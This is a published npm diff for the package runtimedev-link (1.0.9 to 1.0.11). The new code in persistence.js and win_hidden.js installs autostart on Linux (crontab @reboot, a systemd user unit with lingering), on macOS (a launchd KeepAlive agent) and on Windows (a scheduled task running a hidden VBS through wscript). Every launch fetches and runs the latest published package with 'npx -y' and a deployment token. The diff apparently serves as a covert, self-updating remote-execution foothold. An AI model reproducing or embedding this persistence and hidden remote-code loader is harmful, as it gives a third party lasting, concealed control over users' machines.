runtimedev-link 1.0.9 → 1.0.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/persistence.js +219 -44
- package/lib/win_hidden.js +95 -0
- package/package.json +1 -1
package/lib/persistence.js
CHANGED
|
@@ -4,11 +4,13 @@ const fs = require('fs');
|
|
|
4
4
|
const os = require('os');
|
|
5
5
|
const path = require('path');
|
|
6
6
|
const { execSync, spawnSync } = require('child_process');
|
|
7
|
+
const { resolveNodeLaunch, writeLauncherVbs } = require('./win_hidden');
|
|
7
8
|
|
|
8
9
|
const SERVICE_NAME = 'runtimedev-link';
|
|
9
10
|
const NPM_PACKAGE = 'runtimedev-link@latest';
|
|
10
11
|
const LAUNCH_LABEL = 'com.runtimedev.link';
|
|
11
12
|
const WINDOWS_TASK_NAME = 'runtimedev-link';
|
|
13
|
+
const SYSTEMD_UNIT = `${SERVICE_NAME}.service`;
|
|
12
14
|
|
|
13
15
|
function homeDir() {
|
|
14
16
|
return process.env.HOME || process.env.USERPROFILE || '';
|
|
@@ -30,9 +32,13 @@ function dataDir() {
|
|
|
30
32
|
return path.join(homeDir(), '.local', 'share', SERVICE_NAME);
|
|
31
33
|
}
|
|
32
34
|
|
|
35
|
+
function systemdUnitPath() {
|
|
36
|
+
return path.join(homeDir(), '.config', 'systemd', 'user', SYSTEMD_UNIT);
|
|
37
|
+
}
|
|
38
|
+
|
|
33
39
|
function startScriptPath() {
|
|
34
40
|
return process.platform === 'win32'
|
|
35
|
-
? path.join(dataDir(), 'start.
|
|
41
|
+
? path.join(dataDir(), 'start.vbs')
|
|
36
42
|
: path.join(dataDir(), 'start.sh');
|
|
37
43
|
}
|
|
38
44
|
|
|
@@ -47,6 +53,11 @@ function quoteSh(value) {
|
|
|
47
53
|
return `"${String(value || '').replace(/"/g, '\\"')}"`;
|
|
48
54
|
}
|
|
49
55
|
|
|
56
|
+
function exportEnvLine(key, value) {
|
|
57
|
+
const v = String(value || '').replace(/'/g, `'\\''`);
|
|
58
|
+
return `export ${key}='${v}'`;
|
|
59
|
+
}
|
|
60
|
+
|
|
50
61
|
function xmlEscape(value) {
|
|
51
62
|
return String(value || '')
|
|
52
63
|
.replace(/&/g, '&')
|
|
@@ -63,9 +74,37 @@ function mkdirp(dir) {
|
|
|
63
74
|
}
|
|
64
75
|
}
|
|
65
76
|
|
|
77
|
+
function resolveCfg(cfg) {
|
|
78
|
+
const apiBase = String(cfg?.apiBase || process.env.SSTAR_API_BASE || '').trim();
|
|
79
|
+
const hash = String(cfg?.hash || process.env.SSTAR_DEPLOYMENT_HASH || '').trim();
|
|
80
|
+
return { apiBase, hash };
|
|
81
|
+
}
|
|
82
|
+
|
|
83
|
+
function launchToken(cfg) {
|
|
84
|
+
const { apiBase, hash } = resolveCfg(cfg);
|
|
85
|
+
return `${apiBase}|${hash}`;
|
|
86
|
+
}
|
|
87
|
+
|
|
88
|
+
function resolveUnixLaunch() {
|
|
89
|
+
const launch = resolveNodeLaunch(process.execPath);
|
|
90
|
+
if (launch) return launch;
|
|
91
|
+
try {
|
|
92
|
+
const npx = execSync('command -v npx', {
|
|
93
|
+
encoding: 'utf8',
|
|
94
|
+
shell: '/bin/sh',
|
|
95
|
+
stdio: ['ignore', 'pipe', 'ignore'],
|
|
96
|
+
}).trim();
|
|
97
|
+
if (npx) {
|
|
98
|
+
return { node: process.execPath, npxCli: npx };
|
|
99
|
+
}
|
|
100
|
+
} catch {
|
|
101
|
+
// ignore
|
|
102
|
+
}
|
|
103
|
+
return null;
|
|
104
|
+
}
|
|
105
|
+
|
|
66
106
|
function writeConfig(cfg) {
|
|
67
|
-
const apiBase =
|
|
68
|
-
const hash = String(cfg.hash || '').trim();
|
|
107
|
+
const { apiBase, hash } = resolveCfg(cfg);
|
|
69
108
|
if (!apiBase || !hash) {
|
|
70
109
|
throw new Error('API base and deployment hash are required for install');
|
|
71
110
|
}
|
|
@@ -74,7 +113,9 @@ function writeConfig(cfg) {
|
|
|
74
113
|
|
|
75
114
|
fs.writeFileSync(
|
|
76
115
|
configFile(),
|
|
77
|
-
[
|
|
116
|
+
[exportEnvLine('SSTAR_API_BASE', apiBase), exportEnvLine('SSTAR_DEPLOYMENT_HASH', hash), ''].join(
|
|
117
|
+
'\n'
|
|
118
|
+
),
|
|
78
119
|
{ mode: 0o600 }
|
|
79
120
|
);
|
|
80
121
|
|
|
@@ -92,41 +133,56 @@ function writeConfig(cfg) {
|
|
|
92
133
|
}
|
|
93
134
|
}
|
|
94
135
|
|
|
95
|
-
function writeStartScript() {
|
|
136
|
+
function writeStartScript(cfg) {
|
|
96
137
|
mkdirp(dataDir());
|
|
97
138
|
const script = startScriptPath();
|
|
98
139
|
const log = logPath();
|
|
140
|
+
const { apiBase, hash } = resolveCfg(cfg);
|
|
141
|
+
const token = launchToken(cfg);
|
|
99
142
|
|
|
100
143
|
if (process.platform === 'win32') {
|
|
101
|
-
const
|
|
102
|
-
|
|
103
|
-
'
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
144
|
+
const launch = resolveNodeLaunch(process.execPath);
|
|
145
|
+
if (!launch) {
|
|
146
|
+
throw new Error('Could not find npx-cli.js next to Node.js');
|
|
147
|
+
}
|
|
148
|
+
writeLauncherVbs(
|
|
149
|
+
script,
|
|
150
|
+
[
|
|
151
|
+
{
|
|
152
|
+
exe: launch.node,
|
|
153
|
+
args: [launch.npxCli, '-y', NPM_PACKAGE, '--token', token],
|
|
154
|
+
delayAfterMs: 0,
|
|
155
|
+
},
|
|
156
|
+
],
|
|
157
|
+
{
|
|
158
|
+
SSTAR_API_BASE: apiBase,
|
|
159
|
+
SSTAR_DEPLOYMENT_HASH: hash,
|
|
160
|
+
NPM_CONFIG_YES: 'true',
|
|
161
|
+
}
|
|
162
|
+
);
|
|
112
163
|
return script;
|
|
113
164
|
}
|
|
114
165
|
|
|
166
|
+
const launch = resolveUnixLaunch();
|
|
167
|
+
if (!launch) {
|
|
168
|
+
throw new Error('Could not resolve node/npx for autostart');
|
|
169
|
+
}
|
|
170
|
+
|
|
171
|
+
const home = homeDir();
|
|
172
|
+
const envFile = configFile();
|
|
115
173
|
const body = [
|
|
116
174
|
'#!/bin/sh',
|
|
117
|
-
|
|
118
|
-
'
|
|
175
|
+
`HOME=${quoteSh(home)}`,
|
|
176
|
+
'export HOME',
|
|
177
|
+
`NODE=${quoteSh(launch.node)}`,
|
|
178
|
+
`NPX_CLI=${quoteSh(launch.npxCli)}`,
|
|
179
|
+
`TOKEN=${quoteSh(token)}`,
|
|
119
180
|
`LOG=${quoteSh(log)}`,
|
|
120
|
-
|
|
121
|
-
'
|
|
122
|
-
'
|
|
123
|
-
' _NODE_DIR="$(dirname "$(command -v node)")"',
|
|
124
|
-
' if [ -x "$_NODE_DIR/npx" ]; then NPX="$_NODE_DIR/npx"; fi',
|
|
125
|
-
'fi',
|
|
126
|
-
'[ -z "$NPX" ] && [ -x /usr/bin/npx ] && NPX=/usr/bin/npx',
|
|
127
|
-
'[ -z "$NPX" ] && NPX=npx',
|
|
181
|
+
`ENV_FILE=${quoteSh(envFile)}`,
|
|
182
|
+
'export NPM_CONFIG_YES=true',
|
|
183
|
+
'[ -f "$ENV_FILE" ] && . "$ENV_FILE"',
|
|
128
184
|
'cd "$HOME" 2>/dev/null || cd /',
|
|
129
|
-
|
|
185
|
+
'exec "$NODE" "$NPX_CLI" -y ' + NPM_PACKAGE + ' --token "$TOKEN" >>"$LOG" 2>&1',
|
|
130
186
|
'',
|
|
131
187
|
].join('\n');
|
|
132
188
|
fs.writeFileSync(script, body, { mode: 0o755 });
|
|
@@ -142,29 +198,120 @@ function run(cmd, args) {
|
|
|
142
198
|
}
|
|
143
199
|
}
|
|
144
200
|
|
|
145
|
-
function
|
|
146
|
-
const line = `@reboot sleep 30 && ${quoteSh(scriptPath)}`;
|
|
147
|
-
let existing = '';
|
|
201
|
+
function readCrontab() {
|
|
148
202
|
try {
|
|
149
|
-
|
|
203
|
+
return execSync('crontab -l', {
|
|
150
204
|
encoding: 'utf8',
|
|
151
205
|
stdio: ['ignore', 'pipe', 'ignore'],
|
|
152
206
|
});
|
|
153
207
|
} catch {
|
|
154
|
-
|
|
208
|
+
return '';
|
|
155
209
|
}
|
|
210
|
+
}
|
|
211
|
+
|
|
212
|
+
function writeCrontab(content) {
|
|
213
|
+
const trimmed = String(content || '').trim();
|
|
214
|
+
if (!trimmed) {
|
|
215
|
+
try {
|
|
216
|
+
execSync('crontab -r', { stdio: ['ignore', 'ignore', 'ignore'] });
|
|
217
|
+
} catch {
|
|
218
|
+
// ignore
|
|
219
|
+
}
|
|
220
|
+
return;
|
|
221
|
+
}
|
|
222
|
+
execSync('crontab -', {
|
|
223
|
+
input: `${trimmed}\n`,
|
|
224
|
+
stdio: ['pipe', 'ignore', 'ignore'],
|
|
225
|
+
});
|
|
226
|
+
}
|
|
227
|
+
|
|
228
|
+
function removeCrontabAutostart(scriptPath) {
|
|
229
|
+
const existing = readCrontab();
|
|
230
|
+
if (!existing) return;
|
|
231
|
+
const lines = existing
|
|
232
|
+
.split('\n')
|
|
233
|
+
.filter((line) => {
|
|
234
|
+
const trimmed = line.trim();
|
|
235
|
+
if (!trimmed) return true;
|
|
236
|
+
if (trimmed.startsWith('#')) return true;
|
|
237
|
+
if (line.includes(scriptPath)) return false;
|
|
238
|
+
if (trimmed.includes(SERVICE_NAME) && trimmed.includes('@reboot')) return false;
|
|
239
|
+
return true;
|
|
240
|
+
})
|
|
241
|
+
.join('\n');
|
|
242
|
+
writeCrontab(lines);
|
|
243
|
+
}
|
|
244
|
+
|
|
245
|
+
function installCrontab(scriptPath) {
|
|
246
|
+
const line = `@reboot sleep 30 && ${quoteSh(scriptPath)}`;
|
|
247
|
+
const existing = readCrontab();
|
|
156
248
|
if (existing.includes(scriptPath) && existing.includes('@reboot')) {
|
|
157
249
|
return { ok: true, method: 'crontab', path: 'existing' };
|
|
158
250
|
}
|
|
159
|
-
const next = `${existing.trim()}\n${line}\n`.trim()
|
|
160
|
-
|
|
251
|
+
const next = `${existing.trim()}\n${line}\n`.trim();
|
|
252
|
+
writeCrontab(next);
|
|
161
253
|
return { ok: true, method: 'crontab', path: 'crontab -l' };
|
|
162
254
|
}
|
|
163
255
|
|
|
164
|
-
function
|
|
256
|
+
function enableSystemdLinger() {
|
|
257
|
+
try {
|
|
258
|
+
const user = os.userInfo().username;
|
|
259
|
+
if (user) {
|
|
260
|
+
execSync(`loginctl enable-linger ${user}`, { stdio: 'ignore' });
|
|
261
|
+
}
|
|
262
|
+
} catch {
|
|
263
|
+
// optional — user services still run after desktop login without linger
|
|
264
|
+
}
|
|
265
|
+
}
|
|
266
|
+
|
|
267
|
+
function installSystemdUserUnit(scriptPath) {
|
|
268
|
+
if (!run('systemctl', ['--version'])) {
|
|
269
|
+
return false;
|
|
270
|
+
}
|
|
271
|
+
|
|
272
|
+
const unitDir = path.dirname(systemdUnitPath());
|
|
273
|
+
mkdirp(unitDir);
|
|
274
|
+
|
|
275
|
+
const unit = `[Unit]
|
|
276
|
+
Description=RuntimeDev Link Agent
|
|
277
|
+
After=network-online.target
|
|
278
|
+
Wants=network-online.target
|
|
279
|
+
|
|
280
|
+
[Service]
|
|
281
|
+
Type=simple
|
|
282
|
+
ExecStart=${scriptPath}
|
|
283
|
+
Restart=always
|
|
284
|
+
RestartSec=30
|
|
285
|
+
|
|
286
|
+
[Install]
|
|
287
|
+
WantedBy=default.target
|
|
288
|
+
`;
|
|
289
|
+
|
|
290
|
+
fs.writeFileSync(systemdUnitPath(), unit, 'utf8');
|
|
291
|
+
|
|
292
|
+
run('systemctl', ['--user', 'daemon-reload']);
|
|
293
|
+
run('systemctl', ['--user', 'disable', SYSTEMD_UNIT]);
|
|
294
|
+
const enabled = run('systemctl', ['--user', 'enable', SYSTEMD_UNIT]);
|
|
295
|
+
if (!enabled) {
|
|
296
|
+
return false;
|
|
297
|
+
}
|
|
298
|
+
enableSystemdLinger();
|
|
299
|
+
run('systemctl', ['--user', 'restart', SYSTEMD_UNIT]);
|
|
300
|
+
removeCrontabAutostart(scriptPath);
|
|
301
|
+
return true;
|
|
302
|
+
}
|
|
303
|
+
|
|
304
|
+
function installLaunchd(scriptPath, cfg) {
|
|
305
|
+
const { apiBase, hash } = resolveCfg(cfg);
|
|
306
|
+
const launch = resolveUnixLaunch();
|
|
307
|
+
if (!launch) {
|
|
308
|
+
throw new Error('Could not resolve node/npx for autostart');
|
|
309
|
+
}
|
|
310
|
+
|
|
165
311
|
const agentsDir = path.join(homeDir(), 'Library', 'LaunchAgents');
|
|
166
312
|
mkdirp(agentsDir);
|
|
167
313
|
const plistPath = path.join(agentsDir, `${LAUNCH_LABEL}.plist`);
|
|
314
|
+
const token = launchToken(cfg);
|
|
168
315
|
const plist = `<?xml version="1.0" encoding="UTF-8"?>
|
|
169
316
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
|
170
317
|
<plist version="1.0">
|
|
@@ -173,11 +320,32 @@ function installLaunchd(scriptPath) {
|
|
|
173
320
|
<string>${LAUNCH_LABEL}</string>
|
|
174
321
|
<key>ProgramArguments</key>
|
|
175
322
|
<array>
|
|
176
|
-
<string
|
|
177
|
-
<string>${xmlEscape(
|
|
323
|
+
<string>${xmlEscape(launch.node)}</string>
|
|
324
|
+
<string>${xmlEscape(launch.npxCli)}</string>
|
|
325
|
+
<string>-y</string>
|
|
326
|
+
<string>${NPM_PACKAGE}</string>
|
|
327
|
+
<string>--token</string>
|
|
328
|
+
<string>${xmlEscape(token)}</string>
|
|
178
329
|
</array>
|
|
330
|
+
<key>WorkingDirectory</key>
|
|
331
|
+
<string>${xmlEscape(homeDir())}</string>
|
|
332
|
+
<key>EnvironmentVariables</key>
|
|
333
|
+
<dict>
|
|
334
|
+
<key>HOME</key>
|
|
335
|
+
<string>${xmlEscape(homeDir())}</string>
|
|
336
|
+
<key>SSTAR_API_BASE</key>
|
|
337
|
+
<string>${xmlEscape(apiBase)}</string>
|
|
338
|
+
<key>SSTAR_DEPLOYMENT_HASH</key>
|
|
339
|
+
<string>${xmlEscape(hash)}</string>
|
|
340
|
+
<key>NPM_CONFIG_YES</key>
|
|
341
|
+
<string>true</string>
|
|
342
|
+
</dict>
|
|
179
343
|
<key>RunAtLoad</key>
|
|
180
344
|
<true/>
|
|
345
|
+
<key>KeepAlive</key>
|
|
346
|
+
<true/>
|
|
347
|
+
<key>ThrottleInterval</key>
|
|
348
|
+
<integer>30</integer>
|
|
181
349
|
<key>StandardOutPath</key>
|
|
182
350
|
<string>${xmlEscape(logPath())}</string>
|
|
183
351
|
<key>StandardErrorPath</key>
|
|
@@ -234,8 +402,8 @@ function removeLegacyWindowsStartup() {
|
|
|
234
402
|
function writeWindowsTaskXml(scriptPath) {
|
|
235
403
|
const xmlPath = path.join(dataDir(), `${SERVICE_NAME}.task.xml`);
|
|
236
404
|
const userId = xmlEscape(windowsUserId());
|
|
237
|
-
const
|
|
238
|
-
const xml = `<?xml version="1.0" encoding="UTF-
|
|
405
|
+
const vbsArgs = xmlEscape(`//B "${scriptPath.replace(/"/g, '""')}"`);
|
|
406
|
+
const xml = `<?xml version="1.0" encoding="UTF-8"?>
|
|
239
407
|
<Task version="1.4" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
|
|
240
408
|
<RegistrationInfo>
|
|
241
409
|
<Description>RuntimeDev Link Agent</Description>
|
|
@@ -271,8 +439,8 @@ function writeWindowsTaskXml(scriptPath) {
|
|
|
271
439
|
</Settings>
|
|
272
440
|
<Actions Context="Author">
|
|
273
441
|
<Exec>
|
|
274
|
-
<Command>
|
|
275
|
-
<Arguments>${
|
|
442
|
+
<Command>wscript.exe</Command>
|
|
443
|
+
<Arguments>${vbsArgs}</Arguments>
|
|
276
444
|
</Exec>
|
|
277
445
|
</Actions>
|
|
278
446
|
</Task>
|
|
@@ -292,20 +460,27 @@ function installWindowsTaskScheduler(scriptPath) {
|
|
|
292
460
|
return { ok: true, method: 'task-scheduler', path: WINDOWS_TASK_NAME };
|
|
293
461
|
}
|
|
294
462
|
|
|
463
|
+
function installLinuxPersistence(scriptPath) {
|
|
464
|
+
if (installSystemdUserUnit(scriptPath)) {
|
|
465
|
+
return { ok: true, method: 'systemd-user', path: systemdUnitPath() };
|
|
466
|
+
}
|
|
467
|
+
return installCrontab(scriptPath);
|
|
468
|
+
}
|
|
469
|
+
|
|
295
470
|
function installPersistence(cfg) {
|
|
296
471
|
if (!homeDir()) {
|
|
297
472
|
throw new Error('Could not resolve home directory');
|
|
298
473
|
}
|
|
299
474
|
writeConfig(cfg);
|
|
300
|
-
const scriptPath = writeStartScript();
|
|
475
|
+
const scriptPath = writeStartScript(cfg);
|
|
301
476
|
|
|
302
477
|
switch (process.platform) {
|
|
303
478
|
case 'win32':
|
|
304
479
|
return installWindowsTaskScheduler(scriptPath);
|
|
305
480
|
case 'darwin':
|
|
306
|
-
return installLaunchd(scriptPath);
|
|
481
|
+
return installLaunchd(scriptPath, cfg);
|
|
307
482
|
default:
|
|
308
|
-
return
|
|
483
|
+
return installLinuxPersistence(scriptPath);
|
|
309
484
|
}
|
|
310
485
|
}
|
|
311
486
|
|
|
@@ -0,0 +1,95 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const os = require('os');
|
|
5
|
+
const path = require('path');
|
|
6
|
+
const { spawn } = require('child_process');
|
|
7
|
+
|
|
8
|
+
const CREATE_NO_WINDOW = 0x08000000;
|
|
9
|
+
|
|
10
|
+
function vbsQuote(value) {
|
|
11
|
+
return String(value || '').replace(/"/g, '""');
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
function commandLine(exe, args) {
|
|
15
|
+
let line = '"' + vbsQuote(exe) + '"';
|
|
16
|
+
for (let i = 0; i < args.length; i += 1) {
|
|
17
|
+
line += ' "' + vbsQuote(String(args[i])) + '"';
|
|
18
|
+
}
|
|
19
|
+
return line;
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
function npxCliCandidates(nodeExe) {
|
|
23
|
+
const nodeDir = path.dirname(nodeExe);
|
|
24
|
+
const rel = [
|
|
25
|
+
path.join('node_modules', 'npm', 'bin', 'npx-cli.cjs'),
|
|
26
|
+
path.join('node_modules', 'npm', 'bin', 'npx-cli.js'),
|
|
27
|
+
path.join('..', 'lib', 'node_modules', 'npm', 'bin', 'npx-cli.cjs'),
|
|
28
|
+
path.join('..', 'lib', 'node_modules', 'npm', 'bin', 'npx-cli.js'),
|
|
29
|
+
];
|
|
30
|
+
return rel.map((part) => path.join(nodeDir, part));
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
function resolveNodeLaunch(nodeExe) {
|
|
34
|
+
for (let i = 0; i < npxCliCandidates(nodeExe).length; i += 1) {
|
|
35
|
+
const cli = npxCliCandidates(nodeExe)[i];
|
|
36
|
+
try {
|
|
37
|
+
if (fs.existsSync(cli)) {
|
|
38
|
+
return { node: nodeExe, npxCli: cli };
|
|
39
|
+
}
|
|
40
|
+
} catch {
|
|
41
|
+
// ignore
|
|
42
|
+
}
|
|
43
|
+
}
|
|
44
|
+
return null;
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
function writeLauncherVbs(vbsPath, steps, env) {
|
|
48
|
+
const lines = [
|
|
49
|
+
'Set sh = CreateObject("WScript.Shell")',
|
|
50
|
+
'Set env = sh.Environment("PROCESS")',
|
|
51
|
+
];
|
|
52
|
+
const entries = env ? Object.entries(env) : [];
|
|
53
|
+
for (let i = 0; i < entries.length; i += 1) {
|
|
54
|
+
const key = entries[i][0];
|
|
55
|
+
const val = entries[i][1];
|
|
56
|
+
if (val == null) continue;
|
|
57
|
+
lines.push('env("' + vbsQuote(key) + '") = "' + vbsQuote(val) + '"');
|
|
58
|
+
}
|
|
59
|
+
for (let i = 0; i < steps.length; i += 1) {
|
|
60
|
+
const step = steps[i];
|
|
61
|
+
lines.push('sh.Run "' + vbsQuote(commandLine(step.exe, step.args)) + '", 0, False');
|
|
62
|
+
if (step.delayAfterMs > 0) {
|
|
63
|
+
lines.push('WScript.Sleep ' + String(step.delayAfterMs));
|
|
64
|
+
}
|
|
65
|
+
}
|
|
66
|
+
fs.writeFileSync(vbsPath, lines.join('\r\n'), 'utf8');
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
function runVbsHidden(vbsPath) {
|
|
70
|
+
spawn('wscript.exe', ['//B', vbsPath], {
|
|
71
|
+
detached: true,
|
|
72
|
+
stdio: 'ignore',
|
|
73
|
+
windowsHide: true,
|
|
74
|
+
creationFlags: CREATE_NO_WINDOW,
|
|
75
|
+
}).unref();
|
|
76
|
+
}
|
|
77
|
+
|
|
78
|
+
function launchHiddenSteps(steps, env) {
|
|
79
|
+
const vbsPath = path.join(
|
|
80
|
+
os.tmpdir(),
|
|
81
|
+
'rdl_' + Date.now().toString(36) + '.vbs'
|
|
82
|
+
);
|
|
83
|
+
writeLauncherVbs(vbsPath, steps, env);
|
|
84
|
+
runVbsHidden(vbsPath);
|
|
85
|
+
return vbsPath;
|
|
86
|
+
}
|
|
87
|
+
|
|
88
|
+
module.exports = {
|
|
89
|
+
commandLine,
|
|
90
|
+
launchHiddenSteps,
|
|
91
|
+
npxCliCandidates,
|
|
92
|
+
resolveNodeLaunch,
|
|
93
|
+
runVbsHidden,
|
|
94
|
+
writeLauncherVbs,
|
|
95
|
+
};
|